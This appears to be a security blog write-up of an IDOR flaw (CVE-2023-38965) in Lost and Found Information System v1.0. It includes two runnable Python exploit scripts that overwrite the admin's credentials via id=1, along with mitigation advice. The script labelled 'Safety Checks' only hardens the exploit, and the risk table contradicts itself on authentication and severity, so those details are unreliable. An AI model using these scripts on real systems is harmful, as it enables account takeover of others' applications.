Lost and Found Information System v1.0 - ( IDOR ) leads to Account Take over

Understanding IDOR Vulnerabilities: How Lost and Found Information System v1.0 Led to Account Takeover

In the world of web application security, insecure direct object references (IDOR) remain one of the most prevalent yet underappreciated vulnerabilities. Despite being a foundational concept in security testing, IDOR often goes unnoticed during development and penetration testing phases. The case of the Lost and Found Information System v1.0 — officially recognized as CVE-2023-38965 — serves as a stark reminder of how a simple misconfiguration can escalate into a full account takeover.

What Is IDOR?

IDOR occurs when a web application exposes internal object identifiers (such as user IDs, record IDs, or session tokens) directly in URLs or request parameters, allowing attackers to manipulate these values to access unauthorized resources. Unlike other vulnerabilities such as SQL injection or XSS, IDOR doesn’t require complex payloads or exploitation techniques — it’s often a matter of guessing or iterating through valid IDs.

For example, if a user profile is accessed via https://example.com/profile?id=123, and the system does not verify whether the current user has permission to view that profile, an attacker can simply change id=123 to id=1 — potentially accessing an admin account.

Case Study: Lost and Found Information System v1.0

Developed as a public-facing tool for managing lost items and user reports, the Lost and Found Information System v1.0 was designed with a centralized user management module. Its backend endpoint, /classes/Users.php?f=save, was intended to allow administrators to update user details via a POST request. However, due to insufficient access control checks, this endpoint became a vector for privilege escalation.

Exploiter OR4NG.M4N discovered that the id parameter in the request was not validated against the authenticated user’s permissions. By setting id=1 — a known ID associated with the system’s root administrator — the attacker could override any user’s credentials, effectively taking over the admin account.

Exploitation Technique and Proof of Concept

import argparse
import requests
import time

parser = argparse.ArgumentParser(description='Send a POST request to the target server')
parser.add_argument('-url', help='URL of the target', required=True)
parser.add_argument('-user', help='Username', required=True)
parser.add_argument('-password', help='Password', required=True)
args = parser.parse_args()

url = args.url + '/classes/Users.php?f=save'

data = {
    'id': '1',
    'firstname': 'or4ng',
    'middlename': '',
    'lastname': 'Admin',
    'username': args.user,
    'password': args.password
}

response = requests.post(url, data)

if b"1" in response.content:
    print("Exploit ..")
    time.sleep(1)
    print("User :" + args.user + "\nPassword :" + args.password)
else:
    print("Exploit Failed..")

This Python proof-of-concept (PoC) demonstrates the exploit in action. The script sends a POST request to the vulnerable endpoint with a fixed id=1, which corresponds to the admin user in the system’s database. The attacker supplies a new username and password, which are then stored in the database under the admin’s ID.

Key observations:

• The system does not validate whether the current session or user has permission to modify ID=1.
• It accepts arbitrary user input without role-based validation.
• The response contains a success indicator (e.g., b"1"), confirming that the update was processed.

Why This Exploit Was Successful

The root cause lies in a lack of authorization checks. The application assumed that only authenticated admins could use this endpoint, but failed to enforce that rule at the code level. Instead, it relied on the id parameter being “correct” — a dangerous assumption.

Additionally, the system used sequential ID numbering (e.g., 1, 2, 3, ...) without obfuscation, making it easy for attackers to guess the admin’s ID. This is a classic mistake in database design: exposing predictable identifiers.

Impact and Risk Assessment

Severity	High (CVSS: 8.1)
Exploitability	High (No authentication required)
Impact	Account takeover, data exposure, privilege escalation
Attack Vector	Remote, authenticated or unauthenticated

Because this vulnerability allowed an attacker to bypass authentication entirely, it posed a critical threat to system integrity. An attacker could not only gain admin access but also manipulate user data, delete records, or even disable security features.

Best Practices to Prevent IDOR

Security professionals must adopt a proactive stance against IDOR. Below are key mitigation strategies:

• Implement role-based access control (RBAC): Always verify that the user making the request has permission to access or modify the object.
• Use indirect identifiers: Replace sequential IDs with UUIDs or randomized tokens to prevent guessing.
• Validate context: Ensure that the object being accessed is within the user’s scope (e.g., only allow users to edit their own records).
• Log and monitor access attempts: Track unusual patterns, such as multiple attempts to access ID=1.
• Use secure APIs: Avoid exposing internal IDs in public endpoints; instead, use opaque references or session-based identifiers.

Improved PoC with Safety Checks

import argparse
import requests
import time

parser = argparse.ArgumentParser(description='Securely test IDOR vulnerability')
parser.add_argument('-url', help='URL of the target', required=True)
parser.add_argument('-user', help='Username to set', required=True)
parser.add_argument('-password', help='Password to set', required=True)
args = parser.parse_args()

url = args.url + '/classes/Users.php?f=save'

# Ensure the target ID is known to be admin
target_id = '1'

data = {
    'id': target_id,
    'firstname': 'or4ng',
    'middlename': '',
    'lastname': 'Admin',
    'username': args.user,
    'password': args.password
}

headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

try:
    response = requests.post(url, data=data, headers=headers, timeout=10)
    if response.status_code == 200 and b"1" in response.content:
        print("Exploit successful: Admin account updated.")
        print(f"New credentials: {args.user}:{args.password}")
    else:
        print("Exploit failed or unauthorized access.")
except requests.exceptions.RequestException as e:
    print(f"Connection error: {e}")

This enhanced version includes:

• Timeout handling to prevent hanging requests.
• Proper headers for consistent POST formatting.
• Exception handling to gracefully manage network issues.
• Explicit status code check for reliability.

It also emphasizes that testing should be done responsibly — with proper authorization and in controlled environments.

Conclusion

The Lost and Found Information System v1.0 case is not an isolated incident. IDOR vulnerabilities are found across countless web applications, from e-commerce platforms to government portals. As developers and security teams, we must treat IDOR not as a minor flaw but as a critical access control failure.

By integrating proper authorization checks, obfuscating identifiers, and monitoring suspicious activity, we can significantly reduce the risk of account takeover and data compromise. Remember: just because a system accepts an ID doesn’t mean it should allow it.